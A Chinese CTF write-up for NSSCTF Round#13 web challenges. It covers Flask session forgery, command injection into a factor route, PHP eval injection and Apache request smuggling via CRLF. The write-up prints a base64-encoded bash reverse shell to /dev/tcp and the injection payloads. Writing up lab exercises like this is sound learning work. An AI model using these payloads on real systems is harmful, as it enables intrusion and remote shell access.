rank:3

flask?jwt?

简单的注册个账号,在/changePassword 下查看页面源代码发现密钥<!-- secretkey: th3f1askisfunny --> ,很好,老套路了,flask-session-cookie-manager伪造,把_user_id 改成1,访问/getFlag ,拿到flag

ez_factors

查看页面源代码,发现路由/factors/114514 ,访问发现114514被分解,猜测后台逻辑是利用linux命令factor对/factors/后接的字符执行,这样直接用; 来个多命令执行,访问/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有东西不过是一串数字,嗯,看样子应该是读不出来了,直接反弹shell,echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/导致破坏路由,成功反弹shell

MyWeb

代码如下:

<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧 if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}

很明显能命令执行,写个1进去,read之后是这样的

看代码把] 替换成, $value] ,猜测它的json文件是这样写的:[1,2,3········] 这样我们构造把它闭合不就能执行命令了,直接构造个

];%0aecho `cat /flag`;%0a[

]闭合前面的[,[则闭合后面的],%0a换行确保我们的命令能执行

read一下,拿到flag

flask?jwt?(hard)

第一道题的复仇版,其实也没多啥内容,就开了个Debug,让我们找密钥,还是先注册个账号登录,页面源代码给了个/wor 路由,访问之后,没什么有用的信息,我们直接给seesion改了,删减几个字符,成功进入Debug页面,这里直接抓包,搜secret,成功拿到密钥

接下来跟第一道一样的步骤,这里不在赘述

信息收集

Apache HTTP Server2.4.55,百度一下这个版本,有个请求走私漏洞,但我们啥也不知道,不知道走私哪

参考这篇文章http://www.hackdig.com/03/hack-949961.htm

访问index.php,这里有个任意文件读取,读/usr/local/apache2/conf/httpd.conf 发现这个

嗯,做了个proxy转发,猜测flag直接就在转发后当前目录flag.txt里(瞎猜就是了,大不了多试试),利用CRLF注入,payload:

/nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt

TimeTrcer

做大牢,前端做不了一点

NSSCTF Round#13 web专项的更多相关文章

  1. Codeforces Beta Round #13 C. Sequence (DP)

    题目大意 给一个数列,长度不超过 5000,每次可以将其中的一个数加 1 或者减 1,问,最少需要多少次操作,才能使得这个数列单调不降 数列中每个数为 -109-109 中的一个数 做法分析 先这样考 ...

  2. php课程 1-3 web项目中php、html、js代码的执行顺序是怎样的(详解)

    php课程 1-3 web项目中php.html.js代码的执行顺序是怎样的(详解) 一.总结 一句话总结:b/s结构 总是先执行服务器端的先.js是客户端脚本 ,是最后执行的.所以肯定是php先执行 ...

  3. 简易数据分析 13 | Web Scraper 抓取二级页面

    这是简易数据分析系列的第 13 篇文章. 不知不觉,web scraper 系列教程我已经写了 10 篇了,这 10 篇内容,基本上覆盖了 Web Scraper 大部分功能.今天的内容算这个系列的最 ...

  4. Codeforces Beta Round #13 E. Holes 分块暴力

    E. Holes Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/13/problem/E Des ...

  5. [异常记录-13]Web Deploy发布:An error occurred when the request was processed on the remote computer

    大概搜了一下这个报错,大家的情况各不相同,但应该是 Web Deploy 安装导致的没错了... 建议粗暴解决,  卸载后重新安装 Web Deploy 时,不要选那个经典还是典型的安装选项,选自定义 ...

  6. Educational Codeforces Round 13 A、B、C、D

    A. Johny Likes Numbers time limit per test 0.5 seconds memory limit per test 256 megabytes input sta ...

  7. Educational Codeforces Round 13 A

    Description Johny likes numbers n and k very much. Now Johny wants to find the smallest integer x gr ...

  8. Educational Codeforces Round 13 D:Iterated Linear Function(数论)

    http://codeforces.com/contest/678/problem/D D. Iterated Linear Function Consider a linear function f ...

  9. Educational Codeforces Round 13 E. Another Sith Tournament 概率dp+状压

    题目链接: 题目 E. Another Sith Tournament time limit per test2.5 seconds memory limit per test256 megabyte ...

  10. Educational Codeforces Round 13 D. Iterated Linear Function (矩阵快速幂)

    题目链接:http://codeforces.com/problemset/problem/678/D 简单的矩阵快速幂模版题 矩阵是这样的: #include <bits/stdc++.h&g ...

随机推荐

  1. 基于 Echarts实现可视化数据大屏展示?

    当涉及到使用Echarts实现可视化数据大屏展示时,以下是一份非常详细的介绍说明. 第一部分:介绍Echarts Echarts是一个由百度开源的基于JavaScript的可视化图表库.它支持多种图表 ...

  2. 耗时三年开源的H5商城,生产级代码实战

    waynboot-mall 商城项目是我从疫情开始初期着手准备开发的,到如今 2023 年底,已经过了 3 年多的时间. 从项目初期到现在,一个人持续迭代,修复漏洞,添加功能,经历了前端开发工具从 v ...

  3. JPA动态注册多数据源

    背景 目前已经是微服务的天下,但是随着业务需求的日益增长,部分应用还是出现了需要同时连接多个数据源操作数据的技术诉求. 需要对现有的技术架构进行优化升级,查阅了下网上的文章,基本都是照搬的同一篇文章, ...

  4. 【已解决】【Tensorflow2.12.0版本以后合并CPU和GPU版】Tensorflow-gpu==2.12.0 安装失败解决办法

    直接上解决方式,需要知道原因的看后文. 直接安装 tensroflow,从 2022 年 12 月起 tensorflow-gpu 已经合并到 tensorflow 包中了 pip install t ...

  5. Redis 学习笔记1:数据类型

    Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及 zset(sorted set:有序集合). 一.Redis 数据类型-STRING 1.常用 ...

  6. SpringBoot整合JavaMail

    1.发送简单邮件 导入依赖 implementation 'org.springframework.boot:spring-boot-starter-mail:3.0.2' 开启相关协议,获取密码~ ...

  7. JVM整理笔记

    1.JVM位置 JVM是作用在操作系统之上的,它与硬件没有直接的交互 2.JVM体系结构 3.类装载器ClassLoader 类装载器:负责加载class文件,class文件在文件开头有特定的文件标示 ...

  8. scrapy 请求meta参数使用案例-豆瓣电影爬取

    num = 0 import scrapy from scrapy.http import HtmlResponse from scrapy_demo.items import DoubanItem ...

  9. 数字孪生和GIS系统融合能为水利领域带来什么改变?

    随着科技的不断进步,数字孪生和GIS系统的融合应用逐渐成为了水利领域的新趋势.数字孪生是指通过数字化技术模拟物理实体和过程,将现实世界与虚拟世界相结合的技术,而GIS系统则是地理信息系统,用于收集.存 ...

  10. 【UniApp】-uni-app-项目计算功能(苹果计算器)

    前言 本文主要介绍苹果计算器项目中计算功能的实现 在前面的文章中已经实现了输入,动态计算字体大小,以及计算器的布局 本文主要介绍计算功能的实现 正文 实现/清空/改变正负/除以100 inputTex ...